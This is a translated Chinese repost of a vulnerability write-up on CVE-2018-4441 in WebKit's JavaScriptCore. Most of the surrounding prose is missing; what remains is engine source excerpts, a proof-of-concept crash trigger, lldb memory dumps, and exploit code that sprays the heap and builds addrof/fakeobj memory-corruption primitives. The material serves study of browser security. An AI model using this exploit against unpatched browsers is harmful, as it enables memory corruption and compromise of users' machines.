2019-02-28 14:23:5710646人阅读
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { unsigned oldLength = storage->length(); RELEASE_ASSERT(count <= oldLength); // 如果数组中包含holes或处于异常状态, // 则使用ArrayPrototype中的通用算法。 if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } if (!oldLength) return true; unsigned length = oldLength - count; storage->m_numValuesInVector -= count; storage->setLength(length); // [...]
function main() { // [1] let arr = [1]; // [2] arr.length = 0x100000; // [3] arr.splice(0, 0x11); // [4] arr.length = 0xfffffff0; // [5] arr.splice(0xfffffff0, 0, 1); } main();
(lldb) r Process 3018 launched: './jsc' (x86_64) Process 3018 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638) frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage: -> 0x100af8cd3 <+675>: movq $0x0, 0x10(%r13,%rdi,8) 0x100af8cdc <+684>: incq %rcx 0x100af8cdf <+687>: incq %rdx 0x100af8ce2 <+690>: jne 0x100af8cd0 ; <+672> Target 0: (jsc) stopped. (lldb) p/x $r13 (unsigned long) $4 = 0x00000010000fe6a8 (lldb) p/x $rdi (unsigned long) $5 = 0x00000000fffffff0 (lldb) memory region $r13+($rdi*8) [0x00000017fa800000-0x0000001802800000) --- (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x18000fe638) * frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC::ExecState*, unsigned int, unsigned int, JSC::ArrayStorage*) + 675 frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(JSC::ExecState*, unsigned int, unsigned int) + 215 frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift<(JSC::JSArray::ShiftCountMode)1>(JSC::ExecState*, JSC::JSObject*, unsigned int, unsigned int, unsigned int, unsigned int) + 181 frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 4267 [...]
// [...] for (unsigned i = 0; i < count; i++) vector[i + startIndex].clear(); // [...]
// [1] let arr = [1] // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6b0 // - Type: ArrayWithInt32 // - public length: 1 // - vector length: 1
--==[[ JSArray (lldb) x/2gx -l1 0x107bb4340 0x107bb4340: 0x0108211500000062 <--- JSC::JSCell [*] 0x107bb4348: 0x00000010000fe6b0 <--- JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly +0 { 16} JSArray +0 { 16} JSC::JSNonFinalObject +0 { 16} JSC::JSObject [*] 01 08 21 15 00000062 +0 { 8} JSC::JSCell | | | | | +0 { 1} JSC::HeapCell | | | | +-------- +0 < 4> JSC::StructureID m_structureID; | | | +----------- +4 < 1> JSC::IndexingType m_indexingTypeAndMisc; | | +-------------- +5 < 1> JSC::JSType m_type; | +----------------- +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags; +-------------------- +7 < 1> JSC::CellState m_cellState; +8 < 8> JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly; +8 < 8> JSC::Butterfly * m_value; --==[[ Butterfly (lldb) x/2gx -l1 0x00000010000fe6b0-8 0x10000fe6a8: 0x0000000100000001 <--- JSC::IndexingHeader [*] 0x10000fe6b0: 0xffff000000000001 <--- arr[0] 0x10000fe6b8: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory) [*] 00000001 00000001 | | | +-------- uint32_t JSC::IndexingHeader.u.lengths.publicLength +----------------- uint32_t JSC::IndexingHeader.u.lengths.vectorLength // [2] arr.length = 0x100000 // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0x100000 // - vector length: 1 // - m_numValuesInVector: 1
--==[[ Butterfly (lldb) x/5gx -l1 0x00000010000fe6e8-8 0x10000fe6e0: 0x0000000100100000 <--- JSC::IndexingHeader 0x10000fe6e8: 0x0000000000000000 \___ JSC::ArrayStorage [*] 0x10000fe6f0: 0x0000000100000000 / 0x10000fe6f8: 0xffff000000000001 <--- m_vector[0], arr[0] 0x10000fe700: 0x00000000badbeef0 <--- JSC::Scribble (uninitialized memory) +0 { 24} ArrayStorage [*] 0000000000000000 --- +0 < 8> JSC::WriteBarrier<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> > m_sparseMap; 0000000100000000 +0 { 8} JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> > | | +0 < 8> JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF::DumbPtrTraits<JSC::SparseArrayValueMap> >::StorageType m_cell; | +----------- +8 < 4> unsigned int m_indexBias; +------------------- +12 < 4> unsigned int m_numValuesInVector; +16 < 8> JSC::WriteBarrier<JSC::Unknown, WTF::DumbValueTraits<JSC::Unknown> > [1] m_vector; // [3] arr.splice(0, 0x11) // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0xfffef // - vector length: 1 // - m_numValuesInVector: 0xfffffff0
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec) { // [...] unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length); // [...] unsigned actualDeleteCount = length - actualStart; if (exec->argumentCount() > 1) { double deleteCount = exec->uncheckedArgument(1).toInteger(exec); RETURN_IF_EXCEPTION(scope, encodedJSValue()); if (deleteCount < 0) actualDeleteCount = 0; else if (deleteCount > length - actualStart) actualDeleteCount = length - actualStart; else actualDeleteCount = static_cast<unsigned>(deleteCount); } // [...] unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0); if (itemCount < actualDeleteCount) { shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } else if (itemCount > actualDeleteCount) { unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, itemCount, length); RETURN_IF_EXCEPTION(scope, encodedJSValue()); } // [...] }
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { // [...] // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) || hasSparseMap() || shouldUseSlowPut(indexingType())) { return false; } // [...] storage->m_numValuesInVector -= count; // [...] }
// [4] arr.length = 0xfffffff0 // - Object @ 0x107bb4340 // - Butterfly @ 0x10000fe6e8 // - Type: ArrayWithArrayStorage // - public length: 0xfffffff0 // - vector length: 1 // - m_numValuesInVector: 0xfffffff0
bool hasHoles() const { return m_numValuesInVector != length(); }
// [5] arr.splice(0xfffffff0, 0, 1)
bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage) { // [...] bool moveFront = !startIndex || startIndex < length / 2; // [1] if (moveFront && storage->m_indexBias >= count) { Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count); storage = newButterfly->arrayStorage(); storage->m_indexBias -= count; storage->setVectorLength(vectorLength + count); setButterfly(vm, newButterfly); // [2] } else if (!moveFront && vectorLength - length >= count) storage = storage->butterfly()->arrayStorage(); // [3] else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count)) storage = arrayStorage(); else { throwOutOfMemoryError(exec, scope); return true; } WriteBarrier<Unknown>* vector = storage->m_vector; if (startIndex) { if (moveFront) // [4] memmove(vector, vector + count, startIndex * sizeof(JSValue)); else if (length - startIndex) // [5] memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue)); } // [...] }
let SPRAY_SIZE = 0x3000; // [a] let spray = new Array(SPRAY_SIZE); // [b] for (let i = 0; i < 0x3000; i += 3) { // ArrayWithDouble, will allocate 0x60, will be free'd spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; // ArrayWithContiguous, will allocate 0x60, will be corrupted for fakeobj spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; // ArrayWithDouble, will allocate 0x60, will be corrupted for addrof spray[i+2] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; } // [c] for (let i = 0; i < 1000; i += 3) spray[i] = null; // [d] gc(); // [e] for (let i = 0; i < SPRAY_SIZE; i += 3) // corrupt butterfly's length field spray[i+1][0] = i2f(1337)
... +0x0000: 0x0000000d0000000a ----------+ +0x0000: 0x402abd70a3d70a3d | +0x0008: 0x402abd70a3d70a3d | +0x0010: 0x402abd70a3d70a3d | +0x0018: 0x402abd70a3d70a3d | +0x0020: 0x402abd70a3d70a3d spray[i], ArrayWithDouble +0x0028: 0x402abd70a3d70a3d | +0x0030: 0x402abd70a3d70a3d | +0x0038: 0x402abd70a3d70a3d | +0x0040: 0x402abd70a3d70a3d | +0x0048: 0x402abd70a3d70a3d ----------+ ... +0x0068: 0x0000000d0000000a ----------+ +0x0070: 0x00007fffaf7c83c0 | +0x0078: 0x00007fffaf7b0080 | +0x0080: 0x00007fffaf7b00c0 | +0x0088: 0x00007fffaf7b0100 | +0x0090: 0x00007fffaf7b0140 spray[i+1], ArrayWithContiguous +0x0098: 0x00007fffaf7b0180 | +0x00a0: 0x00007fffaf7b01c0 | +0x00a8: 0x00007fffaf7b0200 | +0x00b0: 0x00007fffaf7b0240 | +0x00b8: 0x00007fffaf7b0280 ----------+ ... +0x00d8: 0x0000000d0000000a ----------+ +0x00e0: 0x402abd70a3d70a3d | +0x00e8: 0x402abd70a3d70a3d | +0x00f0: 0x402abd70a3d70a3d | +0x00f8: 0x402abd70a3d70a3d | +0x0100: 0x402abd70a3d70a3d spray[i+2], ArrayWithDouble +0x0108: 0x402abd70a3d70a3d | +0x0110: 0x402abd70a3d70a3d | +0x0118: 0x402abd70a3d70a3d | +0x0120: 0x402abd70a3d70a3d | +0x0128: 0x402abd70a3d70a3d ----------+ ...
// [...] WriteBarrier<Unknown>* vector = storage->m_vector; if (1000) { if (1) memmove(vector, vector + 1, 1000 * sizeof(JSValue)); } // [...]
for (j = 0; j < startIndex; i++) spray[6][j] = spray[6][j+1];
... +0x0000: 0x00000000badbeef0 <--- vector +0x0008: 0x0000000000000000 +0x0010: 0x00000000badbeef0 +0x0018: 0x00000000badbeef0 +0x0020: 0x00000000badbeef0 |vectlen| |publen| +0x0028: 0x0000000d0000000a ---------+ +0x0030: 0x0001000000000539 | +0x0038: 0x00007fffaf734dc0 | +0x0040: 0x00007fffaf734e00 | +0x0048: 0x00007fffaf734e40 | +0x0050: 0x00007fffaf734e80 spray[688] +0x0058: 0x00007fffaf734ec0 | +0x0060: 0x00007fffaf734f00 | +0x0068: 0x00007fffaf734f40 | +0x0070: 0x00007fffaf734f80 | +0x0078: 0x00007fffaf734fc0 ---------+ ... +0x0098: 0x0000000d0000000a ---------+ +0x00a0: 0x402abd70a3d70a3d | +0x00a8: 0x402abd70a3d70a3d | +0x00b0: 0x402abd70a3d70a3d | +0x00b8: 0x402abd70a3d70a3d | +0x00c0: 0x402abd70a3d70a3d spray[689] +0x00c8: 0x402abd70a3d70a3d | +0x00d0: 0x402abd70a3d70a3d | +0x00d8: 0x402abd70a3d70a3d | +0x00e0: 0x402abd70a3d70a3d | +0x00e8: 0x4085e2f5c28f5c29 ---------+ ...
... +0x0020: 0x0000000d0000000a |vectlen| |publen| +0x0028: 0x0001000000000539 --------+ +0x0030: 0x00007fffaf734dc0 | +0x0038: 0x00007fffaf734e00 | +0x0040: 0x00007fffaf734e40 | +0x0048: 0x00007fffaf734e80 | +0x0050: 0x00007fffaf734ec0 spray[688] +0x0058: 0x00007fffaf734f00 | +0x0060: 0x00007fffaf734f40 | +0x0068: 0x00007fffaf734f80 | +0x0070: 0x00007fffaf734fc0 | +0x0078: 0x0000000000000000 --------+ ...
let oob_boxed = spray[688]; // ArrayWithContiguous let oob_unboxed = spray[689]; // ArrayWithDouble let stage1 = { addrof: function(obj) { oob_boxed[14] = obj; return f2i(oob_unboxed[0]); }, fakeobj: function(addr) { oob_unboxed[0] = i2f(addr); return oob_boxed[14]; }, test: function() { var addr = this.addrof({a: 0x1337}); var x = this.fakeobj(addr); if (x.a != 0x1337) { fail(1); } print('[+] Got addrof and fakeobj primitives \\o/'); } }
本文翻译自:https://melligra.fun/webkit/2019/02/15/cve-2018-4441/
翻译作者:41yf1sh 原文地址:https://www.4hou.com/vulnerable/16384.html